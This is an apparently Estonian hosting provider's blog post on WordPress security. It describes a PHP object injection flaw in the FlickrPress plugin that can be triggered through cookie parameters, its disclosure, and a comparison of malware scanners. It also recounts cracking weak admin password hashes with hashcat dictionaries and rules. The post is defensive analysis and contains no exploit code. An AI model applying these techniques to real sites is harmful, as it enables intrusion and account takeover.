See võimaldab PHP Object Injection ehk PHP objektisüsti haavatavuse ärakasutamist. Mugava proof-of-concept koodi – sest objektisüst eeldab ärakasutamiseks sobiliku objekti olemasolu – leiab Plugin Vulnerabilities blogipostitusest. Proovime järgi:

Tähelepanelik vaatleja kindlasti märkab, et ma olen teinud täiesti suvalise alamlehe pihta GET-päringu andes pluginas oleva turva-augu aktiveerimiseks vajalikud parameetrid kaasa küpsisena. See plugin loeb parameetreid $_REQUEST globaalmuutujast – mis ei ole hea praktika – ning sinna jooksevad seadistusest (variables_order ja request_order) sõltuvalt kokku $_GET ja $_POST parameetrid… ning $_COOKIE.

Ääremärkus: ajaloolistel põhjustel on ka meil Zones vaikimisi variables_order väärtuseks ‘EGPCS’. Kui me selle tihedamaks keeraks… läheks kellelgi midagi katki. Ilmselt peaks lisama võimaluse seda seadistada. Seniks võib phpini/global/php.ini faili panna lisaks ülalviidatud vigade väljastamise keelule ka rea request_order = 'GP'

Kuivõrd video tegemise seisuga polnud seda pluginat kirjas levinud haavatavuse-baasides ega fixitud, siis võib seda ilmselt zero-day’ks nimetada.

Autor sai vastutustundlikult teavitatud, oli juba enne teadlik … ja võttis selle tulemusel plugina (“Viimati uuendatud: 8 aastat tagasi”) ametlikust kataloogist üldse maha.

Ehk kõik, kellel see plugin kasutusel, on edaspidi endiselt haavatavad ja neil puudub ka adekvaatne viis ohust teada saada. Äärmiselt sobilik näide illustreerimaks “uuendamine ei pruugi olla lahendus” väidet.

Ääremärkus – raporteerides FlickrPress’i saatsin kordusteate ka ühe teise plugina turvaprobleemi kohta, mille vastu suunatud ründe avastasin juba pool aastat tagasi. Ma puhtalt huvi pärast ootan, et kaua läheb fiksimisega.

Pahavara tuvastamise tõenäosus

Kui me juba müütideni jõudsime, siis lammutaks ära veel ühe – “veebiserverist on võimalik asjakohase tööriistaga leida üles pahavara sisaldavad failid ning need siis ära kustutada või puhastada”. Veidi muudetud väide on samas tõene: “On võimalik leida pahavara sisaldavaid faile, kui neid on piisavalt palju ja need vastavad levinud mustritele.”

Leitava pahavara protsent sõltub tööriista võimekusest ja häälestuse tundlikkusest. Mina võtsin ette Zone+ all pakutava Nimbusec’i, Revisium’i tasuta tööriista AI-bolit tavalises ja “paranoia”-reziimis ning WP pluginad Quttera ja GotMLS. Kontrolliks võtsin testi ka Nod32 ja DrWeb antiviirused, aga nende tulemus on allpool igasugust arvestust (ning ClamAV leidis veel 2x vähem).

Teades kõiki muudetud faile (52 olulist näidet) oli lihtne teha andmebaasi-rakendus, kuhu saan lugeda sisse tuvastuste raporti ning tulemused tabelina kuvada:

Valepositiivsete protsent on arvestatud leidude suhtes, sest nii tundus loogilisem. Kasutaja jaoks annab “leitud 10 reaalset ohtu ja 5 valepositiivset” põhjal rehkendatud 50% ilmselt rohkem infot, kui protsent kõigist WP all olevatest failidest.

Järjekordselt oleme rahul oma valitud Nimbusec’iga – tuvastus on piisavalt hea tagamaks toimimise suitsuandurina ehk andmaks märku veebi tabanud probleemist, samas ei tekita tavakasutajas liigselt paanikat valepositiivsetega.

Aga isegi kõige paranoilisem AI-bolit skooris vaid 90% probleemsetest failidest – ehk maha tuleks matta (ja raske kiviga katta) lootus, et mingi skänni abil saab veebi puhtaks. Ainus lahendus on kõik mis võimalik ära asendada. Ja ülejäänu käsitsi üle käia või minema visata.

Ja lõpuks – kuidas siis ikkagi sisse saadi?

Viimase kahe näidispakki lisatud veebi puhul tundus mulle kahtlane, et probleemiks oli mõni plugin, pigem oli tuldud sisse admin-kasutajana ja faile muutes endale laiem ligipääs rajatud.

Hüpoteesi kontrolliks otsustasin “Paha Panda” meetodit ehk nõrkade paroolide äramõistatamist kasutada. Võtsin ette hashcat’i ning tekitasin sõnastiku enamlevinud paroolidest, uuritavates saitides olnud kasutajanimedest ja lisasin reegli, mis proovib esimest tähte suureks teha ja lõppu numbrit lisada.

Tulemuseks – mu läpakas ei jõudnud veel ventilaatorit käima panna, kui hashcat juba räsidele vastavad paroolid välja sülitas:

Esimene neist on täpselt reaalse saidi kasutajanimi ja parooliräsi (sedapalju siis soovitusest, et admin kasutaja asemel mõne teise nime kasutamine turvalisust tõstab – kasutajanimede kokkulugemine pole tead-mis keeruline), aga teise puhul on parool ohvri isiku kaitseks ära muudetud.

Pihtas-põhjas, nett on hukas…

ps. kui lugesid alustuseks teksti läbi – tubli! – siis ära unusta lisaks ka videot vaadata 🙂